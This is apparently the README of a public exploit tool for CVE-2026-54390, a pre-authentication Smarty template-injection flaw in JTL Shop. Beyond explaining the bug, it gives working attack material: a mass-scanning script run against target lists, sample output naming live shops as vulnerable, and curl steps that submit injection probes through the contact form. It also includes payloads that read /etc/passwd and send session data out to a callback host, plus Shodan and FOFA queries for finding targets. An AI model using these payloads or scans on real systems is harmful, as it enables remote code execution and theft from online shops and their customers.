
CVE-2026-54390 — JTL Shop Smarty SSTI RCE | Iniezione di template pre-autenticazione tramite fetch('string:' . ) | 5.2.0-5.7.1
CVE-2026-54390 è una critica (CVSS 9.8) vulnerabilità di Server-Side Template Injection non autenticata in JTL Shop 5.2.0–5.7.1.
Il metodo SmartyRenderer::renderTemplate() passa le righe oggetto delle email a $smarty->fetch('string:' . $subject) — renderizzandole come template Smarty. I campi del modulo di contatto raggiungono l'oggetto dell'email tramite la risoluzione #var# in parseSubject(), e vengono poi rivalutati da fetch().
Text::filterXSS() rimuove solo i tag HTML — { e } passano. I modificatori Smarty registrati includono file_get_contents e unserialize.
| JTL Shop | Stato |
|---|---|
| < 5.2.0 | Non interessato |
| 5.2.0 – 5.3.x | Vulnerabile (furto di credenziali) |
| 5.4.0 – 5.7.1 | Vulnerabile (RCE totale) |
| 5.5.4 / 5.6.2 / 5.7.2+ | Corretto |
// includes/src/Mail/Renderer/SmartyRenderer.php riga 63
$subject = $this->parseSubject($model->getSubject($languageID));
$template->setSubject($this->getSmarty()->fetch('string:' . $subject));
// ^^^^^^^^^^^^^^^^^^^^^
// Oggetto email renderizzato come template Smarty
1. L'utente compila il modulo di contatto → nome/email/messaggio → filterXSS()
2. filterXSS rimuove solo l'HTML — {system()} passa
3. Modello oggetto email: "Neue Anfrage von #Kunde.vorname#"
4. parseSubject() risolve #Kunde.vorname# → {system('id')}
5. fetch('string:Neue Anfrage von {system(\'id\')}') → ESEGUE
6. Email inviata con oggetto: "Neue Anfrage von uid=33(www-data)..."
// PluginCollection.php — disponibili per RCE
'unserialize', 'file_get_contents', 'file_exists', 'class_exists'
git clone https://github.com/shinthink/CVE-2026-54390.git
cd CVE-2026-54390
pip install -r requirements.txt
# Singolo obiettivo
python cve_2026_54390.py -t target.com
# Scansione di massa
python cve_2026_54390.py -f jtl-targets.txt -o vuln.txt
# Sonda SSTI tramite modulo di contatto
python cve_2026_54390.py -t target.com --exploit --debug
-t, --target Singolo obiettivo (dominio o IP)
-f, --file Elenco di obiettivi, uno per riga
-o, --output Salva gli obiettivi vulnerabili
--threads Worker (predefinito: 20)
--exploit Invia la sonda SSTI tramite il modulo di contatto
--debug Mostra ogni richiesta HTTP
-v, --verbose Output dettagliato
$ python cve_2026_54390.py -t jtl-shop.de --debug
JTL Shop Smarty SSTI | CVE-2026-54390
[jtl-shop.de] JTL Shop v5.7.0
[jtl-shop.de] [+] JTL Shop v5.7.0
[jtl-shop.de] modulo di contatto: /Kontakt | soggetti:5
Host : jtl-shop.de
JTL Shop : SÌ v5.7.0
Contatto : SÌ
Percorso modulo: /Kontakt
Soggetti : 5 disponibili
[!] business.trustedshops.ch 1.6s v5.5.2 form:/Kontakt
[!] bmg-moebel.de 5.3s v5.7.0 form:/Kontakt
[100/5600] 1% | JTL:23 Vuln:12
Passo 1 — Trova il modulo di contatto + token
curl -sk 'https://target.com/Kontakt' | grep -oP 'name="jtl_token"[^>]*value="\K[^"]+'
Passo 2 — Invia la sonda SSTI
curl -sk -X POST 'https://target.com/Kontakt' \
-d 'kontakt=1' -d 'subject=1' \
-d 'nachricht={7*7}' \
-d 'vorname={7*7}' \
-d 'nachname={7*7}' \
-d '[email protected]'
Passo 3 — Leggi i file
{{"/etc/passwd"|file_get_contents}}
Passo 4 — Esfiltrazione OOB
{{"http://callback.com/?s="|file_get_contents|cat:$smarty.session|replace_delim:":"}}
FOFA: body="jtl" && body="kontakt"
Shodan: http.html:"jtl" http.html:"Kontakt"
SOLO PER SCOPI EDUCATIVI E DI TEST AUTORIZZATI. Gli autori non si assumono alcuna responsabilità per un uso improprio.
| Risorsa |
|---|
Non affiliato a JTL-Software o Sansec.
| Link |
|---|
| Ricerca Sansec | sansec.io/research/jtl-shop-ssti-rce |
| Advisory IONIX | ionix.io/threat-center/cve-2026-54390 |
| Forum JTL | forum.jtl-software.de |
| NVD | CVE-2026-54390 |